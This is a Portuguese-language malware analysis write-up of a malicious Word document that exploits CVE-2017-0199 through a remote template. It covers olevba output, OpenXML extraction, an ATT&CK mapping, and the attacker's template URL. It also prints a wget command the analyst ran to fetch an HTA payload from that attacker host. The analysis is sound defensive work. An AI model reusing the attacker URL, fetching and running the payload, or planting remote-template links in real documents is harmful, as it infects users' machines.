Author
: Maiquel "Pa1va"
CVE's
: CVE-2017-0199, CVE-2017-11882
Introducao
Este paper descreve a análise de um documento
malicioso (.doc
) identificado como
explorando a vulnerabilidade
CVE-2017-0199. A investigação envolveu
inspeção de cabeçalhos de arquivo, análise de macros,
extração do conteúdo do OpenXML e investigação de links
externos que indicam carregamento remoto de
payloads.
1. Identificação do Arquivo
O primeiro passo foi determinar o tipo de arquivo:
file massachusetts-wolfram-emma-august.doc
Resultado:
Microsoft Word 2007+
Em seguida, os primeiros bytes do arquivo foram examinados:
xxd -l 32 massachusetts-wolfram-emma-august.doc
Saída:
504b 0304 ... PK........
- Observação: o header
PK
indica que o arquivo é baseado em ZIP, ou seja, um OpenXML (.docx
) mesmo com extensão.doc
.
2. Verificação de Macros
Utilizando olevba
para inspecionar a
presença de macros VBA ou XLM:
olevba massachusetts-wolfram-emma-august.doc
Resultado:
No VBA or XLM macros found.
Type: OpenXML
- Nenhuma macro foi detectada, o que reforça a necessidade de investigar outros vetores de exploração, como templates remotos (CVE-2017-0199).
Observe o resultado de outro sample parecido:
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|AutoExec |Document_open |Runs when the Word or Publisher document is |
| | |opened |
|Suspicious|Create |May execute file or a system command through |
| | |WMI |
|Suspicious|showwindow |May hide the application |
|Suspicious|GetObject |May get an OLE object with a running instance|
|Suspicious|ChrW |May attempt to obfuscate specific strings |
| | |(use option --deobf to deobfuscate) |
|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
|Suspicious|Base64 Strings |Base64-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
+----------+--------------------+---------------------------------------------+
Meu amigo pegou esse outro sample, que é relacionado ao que estamos analisando neste paper, e neste sample possível inspecionar as macros. Observando o código, nota-se um alto nível de ofuscação. Durante a investigação, percebi que o macro malicioso executa instâncias do winword.exe na máquina da vítima e também realiza process injection em um processo legítimo do Windows.
3. Extração do Conteúdo OpenXML
Como o arquivo é um ZIP, ele foi extraído para inspeção manual:
unzip massachusetts-wolfram-emma-august.doc -d docx_extract
Arquivos extraídos incluem:
word/document.xml
— conteúdo principal do documento.word/_rels/document.xml.rels
— referências a objetos e links externos.word/_rels/settings.xml.rels
— configurações do documento, incluindo templates externos.word/media/
— imagens incorporadas.
4. Investigação de Links Externos
Foi realizada busca por URLs e referências a scripts remotos:
grep -RiE "http|\.hta" docx_extract
Resultado crítico:
<Relationship Id="rId1"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
Target="https://veryniceworkingwithbestfuturecareerofferingforgoodpeopleswhoiloversaround.doTX@go.silpo.ua/Fpp96T"
TargetMode="External"/>
- Indicação de template remoto, vetor principal da exploração CVE-2017-0199.
- Ao abrir o documento, o Office tentaria carregar o
template remoto, normalmente um
.hta
que baixaria o payload final.
5. Tentativa de Recuperar Payload
Foi tentado o download do payload indicado pelo template remoto:
wget --no-check-certificate -O payload.hta "https://veryniceworkingwithbestfuturecareerofferingforgoodpeopleswhoiloversaround.doTX@go.silpo.ua/Fpp96T"
Resultado:
- O servidor redirecionou para outro endereço
(
HTTP 302
), mas o download falhou (Connection refused
). - Isso indica que os hosts do atacante provavelmente foram desativados ou removidos após a detecção.
6. MITRE ATT&CK Mapping para o documento malicioso CVE-2017-0199
Categoria ATT&CK Tática Técnica Evidência na análise
Initial Access TA0001
– Initial Access
T1193
– Spearphishing Attachment O
documento Word foi enviado como anexo malicioso, visando
que a vítima abra e ative a exploração.
Execution TA0002
– Execution
T1204.002
– User Execution: Malicious File
A exploração CVE-2017-0199 exige que o usuário abra o
documento, que então baixa o template remoto (HTA).
Execution TA0002
– Execution
T1059.005
– Command and Scripting
Interpreter: HTML/HTA O template remoto baixado
normalmente é um .hta, que executa código malicioso em
Windows Script Host.
Persistence TA0003
– Persistence
T1547.001
– Boot or Logon Autostart
Execution: Registry Run Keys / Startup Folder
(potencial) Muitos payloads entregues via HTA configuram
persistência, embora neste caso o payload não tenha sido
obtido.
Defense Evasion TA0005
– Defense Evasion
T1027
– Obfuscated Files or Information O
malware disfarça o documento como .doc clássico, mas é
um OpenXML (.docx).
Command and Control TA0011
– Command and
Control T1071.001
– Application Layer
Protocol: Web Protocols O documento tenta baixar um
payload remoto via HTTP/HTTPS.
7. Conclusão
O documento analisado é um OpenXML (.docx disfarçado como .doc).
Não contém macros, mas explora template remoto, vetor associado ao CVE-2017-0199.
Ferramentas utilizadas:
file
exxd
— identificação de tipo de arquivo e inspeção de header.olevba
— detecção de macros.unzip
— extração do conteúdo OpenXML.grep
— pesquisa de URLs e objetos suspeitos.wget
— tentativa de recuperação do payload remoto.
Apesar de não ter sido possível baixar o payload final, a análise confirma que o documento é malicioso. Fiquei muito triste por essa analise terminar assim, mas da próxima, eu pego eles xD! Virus Total: https://www.virustotal.com/gui/url/00a591730cf2b1df1f689c2867650f69b609e58ea7d2ec77d5240dbafc49835f
thx for reading <3
- @Pa1va